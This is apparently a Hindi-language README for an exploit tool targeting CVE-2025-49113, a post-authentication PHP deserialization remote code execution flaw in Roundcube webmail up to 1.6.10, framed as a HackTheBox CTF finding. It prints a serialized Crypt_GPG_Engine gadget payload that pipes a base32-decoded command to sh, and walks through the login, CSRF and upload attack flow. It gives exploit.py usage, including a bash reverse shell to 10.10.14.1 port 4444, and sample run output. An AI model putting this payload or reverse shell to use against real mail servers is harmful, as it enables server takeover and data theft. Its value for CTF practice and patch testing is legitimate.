
CVE-2025-49113 – Roundcube ≤1.6.10 post-auth RCE के माध्यम से PHP object deserialization (HackTheBox CTF)
| फ़ील्ड | विवरण |
|---|
| CVE | CVE-2025-49113 |
| सॉफ़्टवेयर | राउंडक्यूब वेबमेल |
| प्रभावित संस्करण | ≤ 1.6.10 |
| भेद्यता | पीएचपी ऑब्जेक्ट डिसीरियलाइज़ेशन → RCE |
| प्रमाणीकरण | आवश्यक (कोई भी वैध उपयोगकर्ता) |
| प्रभाव | सर्वर पर रिमोट कोड निष्पादन |
| संदर्भ | HackTheBox CTF के दौरान खोजा गया |
राउंडक्यूब वेबमेल संस्करण 1.6.10 तक और सहित, पोस्ट-प्रमाणीकरण रिमोट कोड निष्पादन के लिए संवेदनशील हैं। फ़ाइल अपलोड हैंडलर अपलोड किए गए अटैचमेंट के फ़ाइलनाम में एम्बेडेड एक पीएचपी ऑब्जेक्ट को डिसीरियलाइज़ करता है। एक दुर्भावनापूर्ण फ़ाइलनाम बनाकर जिसमें एक सीरियलाइज़्ड Crypt_GPG_Engine ऑब्जेक्ट होता है, एक प्रमाणित हमलावर फ़ाइलनाम के प्रोसेस होने पर अंतर्निहित सर्वर पर मनमाना कमांड निष्पादन ट्रिगर कर सकता है।
पीएचपी ऑब्जेक्ट डिसीरियलाइज़ेशन (CWE-502)। राउंडक्यूब का फ़ाइल अपलोड एंडपॉइंट क्लाइंट-सप्लाई किए गए फ़ाइलनाम को बिना सत्यापन के एक डिसीरियलाइज़ेशन पथ से गुज़रता है। Crypt_GPG_Engine क्लास राउंडक्यूब की निर्भरता श्रृंखला में उपलब्ध है और एक उपयोगी गैजेट श्रृंखला के रूप में कार्य करता है।
Crypt_GPG_Engine क्लास में एक _gpgconf प्रॉपर्टी है जो ऑब्जेक्ट विनाश/आरंभीकरण के दौरान एक सिस्टम-स्तरीय कॉल पर पास की जाती है। एक क्राफ्टेड _gpgconf मान के साथ एक इंस्टेंस को सीरियलाइज़ करके, हमलावर कमांड निष्पादन को मजबूर करता है।
सीरियलाइज़्ड पेलोड प्रारूप:
|O:16:"Crypt_GPG_Engine":3:{
s:8:"_process"; b:0;
s:8:"_gpgconf"; s:<len>:"<base32-एन्कोडेड-कमांड> | base32 -d | sh &#";
s:8:"_homedir"; s:0:"";
}
फ़ाइलनाम फ़ील्ड में विशेष वर्ण समस्याओं से बचने के लिए कमांड को बेस32-एन्कोड किया गया है।
हमलावर (प्रमाणित)
│
▼
GET /?_task=login → CSRF टोकन + सत्र कुकी प्राप्त करें
│
▼
POST /?_task=login → मान्य क्रेडेंशियल्स के साथ प्रमाणित करें
│
▼
POST /?_task=settings&_action=upload
Content-Disposition: filename="<सीरियलाइज़्ड_पेलोड>"
│
▼
सर्वर फ़ाइलनाम को डिसीरियलाइज़ करता है → Crypt_GPG_Engine इंस्टेंटिएटेड
│
▼
_gpgconf निष्पादित → वेबसर्वर उपयोगकर्ता के रूप में OS कमांड चलता है
कमांड को बेस32-एन्कोड किया गया है ताकि ऐसे वर्णों से बचा जा सके जो मल्टीपार्ट फ़ाइलनाम फ़ील्ड (उद्धरण, स्लैश, आदि) को तोड़ देंगे। सर्वर पर निष्पादित अंतिम कमांड है:
echo "<B32_CMD>" | base32 -d | sh
python3 exploit.py -u <USER> -p <PASS> -i <TARGET_URL> -x <COMMAND>
| फ़्लैग | विवरण |
|---|---|
-u | राउंडक्यूब उपयोगकर्ता नाम |
-p | राउंडक्यूब पासवर्ड |
-i | लक्ष्य URL (उदा., http://mail.target.htb) |
-x | सर्वर पर निष्पादित करने के लिए कमांड |
# वेब सर्वर उपयोगकर्ता के रूप में कोड निष्पादन जांचें
python3 exploit.py -u admin -p password -i http://mail.target.htb -x "id"
# रिवर्स शेल
python3 exploit.py -u admin -p password -i http://mail.target.htb \
-x "bash -c 'bash -i >& /dev/tcp/10.10.14.1/4444 0>&1'"
कोई बाहरी लाइब्रेरी आवश्यक नहीं — केवल पायथन मानक पुस्तकालय का उपयोग करता है (http.client, urllib, base64, आदि)।
$ python3 exploit.py -u bob -p letmein -i http://mail.target.htb -x "id"
[*] राउंडक्यूब शोषण शुरू (CVE-2025-49113)
[*] CSRF टोकन प्राप्त कर रहा है...
[+] CSRF टोकन मिला: abc123...
[*] प्रमाणीकरण...
[+] प्रमाणीकरण सफल
[*] कमांड निष्पादित कर रहा है: id
[+] शोषण पूर्ण। कमांड निष्पादन के लिए लक्ष्य जांचें।